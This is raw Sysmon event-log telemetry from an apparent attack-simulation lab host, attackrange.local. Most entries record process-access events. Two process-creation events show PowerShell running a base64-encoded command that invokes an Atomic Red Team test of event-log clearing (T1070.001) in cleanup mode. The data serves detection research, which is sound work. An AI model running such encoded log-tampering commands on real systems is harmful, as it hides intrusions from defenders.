09:10:59.203{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004510Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.203{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004509Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.203{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2923-5F80-ED00-000000007F01}4948C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004508Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.203{A5F018FF-2922-5F80-E700-000000007F01}49884976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2923-5F80-ED00-000000007F01}4948C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|UNKNOWN(0000000000000000)|UNKNOWN(0000000000000000)|UNKNOWN(0000000000000000)|UNKNOWN(0000000000000000)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d374f(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d35c3(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca55def(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9cc1ab(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd48539e(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9949a3(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9f2e72(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d6368(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9c82ed(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca0147d(wow64) 154100x80000000000000004507Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.210{A5F018FF-2923-5F80-ED00-000000007F01}4948C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {} C:\Users\ADMINI~1\AppData\Local\Temp\ATTACKRANGE\Administrator{A5F018FF-2921-5F80-9203-080000000000}0x803920HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2922-5F80-E700-000000007F01}4988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADcAMAAuADAAMAAxACIAIAAtAEMAbABlAGEAbgB1AHAA 10341000x80000000000000004506Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.187{A5F018FF-2922-5F80-E700-000000007F01}49884976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2923-5F80-EC00-000000007F01}3016C:\Windows\system32\cmd.exe0x1f3fffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b42a7|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b452d|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3ed3|UNKNOWN(00007FFAA913B5E3) 10341000x80000000000000004505Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.187{A5F018FF-2921-5F80-E000-000000007F01}11565012C:\Windows\system32\conhost.exe{A5F018FF-2923-5F80-EC00-000000007F01}3016C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004504Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.172{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004503Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.172{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004502Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.172{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004501Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.172{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004500Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.172{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004499Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.172{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004498Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.172{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004497Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.172{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004496Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.172{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004495Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.172{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2923-5F80-EC00-000000007F01}3016C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004494Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.172{A5F018FF-2922-5F80-E700-000000007F01}49884976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2923-5F80-EC00-000000007F01}3016C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|UNKNOWN(0000000000000000)|UNKNOWN(0000000000000000)|UNKNOWN(0000000000000000)|UNKNOWN(0000000000000000)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d374f(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d35c3(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca55def(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9cc1ab(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd48539e(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9949a3(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9f2e72(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d64d7(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9d6368(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9c82ed(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fca0147d(wow64) 154100x80000000000000004493Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.184{A5F018FF-2923-5F80-EC00-000000007F01}3016C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.Exe"C:\Windows\system32\cmd.exe" /c "" C:\Users\ADMINI~1\AppData\Local\Temp\ATTACKRANGE\Administrator{A5F018FF-2921-5F80-9203-080000000000}0x803920HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-2922-5F80-E700-000000007F01}4988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADcAMAAuADAAMAAxACIAIAAtAEMAbABlAGEAbgB1AHAA 10341000x80000000000000004532Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:12.263{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1E00-000000007F01}2232C:\Windows\system32\compattelrunner.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004531Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:12.263{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1E00-000000007F01}2232C:\Windows\system32\compattelrunner.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004533Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 